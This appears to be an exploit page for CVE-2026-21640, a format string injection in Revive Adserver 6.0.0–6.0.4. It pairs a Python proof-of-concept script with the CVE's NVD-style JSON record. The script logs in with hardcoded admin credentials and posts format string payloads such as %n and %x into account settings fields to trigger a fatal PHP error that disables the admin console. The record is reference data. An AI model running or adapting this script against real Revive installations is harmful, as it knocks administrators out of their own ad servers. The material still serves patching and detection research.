CVE-2026-21640

import requests import sys # CVE-2026-21640 PoC - Format String Injection in Revive Adserver # Target: Revive Adserver instance # Attack: Inject format string specifiers in settings to cause PHP fatal error TARGET_URL = "http://target-server.com/revive-adserver" LOGIN_URL = f"{TARGET_URL}/www/admin/login.php" SETTINGS_URL = f"{TARGET_URL}/www/admin/account-settings-update.php" USERNAME = "admin" PASSWORD = "admin123" def login(session): """Authenticate with admin credentials""" data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=data) return "login" in response.text.lower() or response.status_code == 200 def exploit_format_string_injection(session): """Inject format string specifiers in setting parameters""" # Format string payloads that can trigger PHP errors payloads = [ "%s%s%s%s", "%x%x%x%x", "%n%n%n%n", "%d%d%d%d", "%.100s%.100s", "%p%p%p%p" ] headers = { "Cookie": session.cookies.get_dict(), "Content-Type": "application/x-www-form-urlencoded" } for payload in payloads: # Inject format string in common setting parameters data = { "account_name": payload, "email_address": f"admin@{payload}.com", "submit": "Update" } response = session.post(SETTINGS_URL, data=data, headers=headers) if response.status_code != 200 or "error" in response.text.lower(): print(f"[+] Payload '{payload}' triggered error - Admin console may be disabled") return True return False def main(): session = requests.Session() print("[*] Attempting CVE-2026-21640 Format String Injection...") if not login(session): print("[-] Authentication failed") sys.exit(1) print("[+] Login successful") if exploit_format_string_injection(session): print("[!] Exploitation successful - Admin console disabled") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-21640", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:06.063", "lastModified": "2026-01-30T20:17:33.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HackerOne community member Faraz Ahmed (PakCyberbot) has reported a format string injection in the Revive Adserver settings. When specific character combinations are used in a setting, the admin user console could be disabled due to a fatal PHP error."}, {"lang": "es", "value": "El miembro de la comunidad de HackerOne Faraz Ahmed (PakCyberbot) ha informado de una inyección de cadena de formato en la configuración de Revive Adserver. Cuando se utilizan combinaciones de caracteres específicas en una configuración, la consola del usuario administrador podría deshabilitarse debido a un error fatal de PHP."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-134"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.4", "matchCriteriaId": "2AA08D1C-3638-4E0D-AC58-A8527E77536F"}]}]}], "references": [{"url": "https://hackerone.com/reports/3445332", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}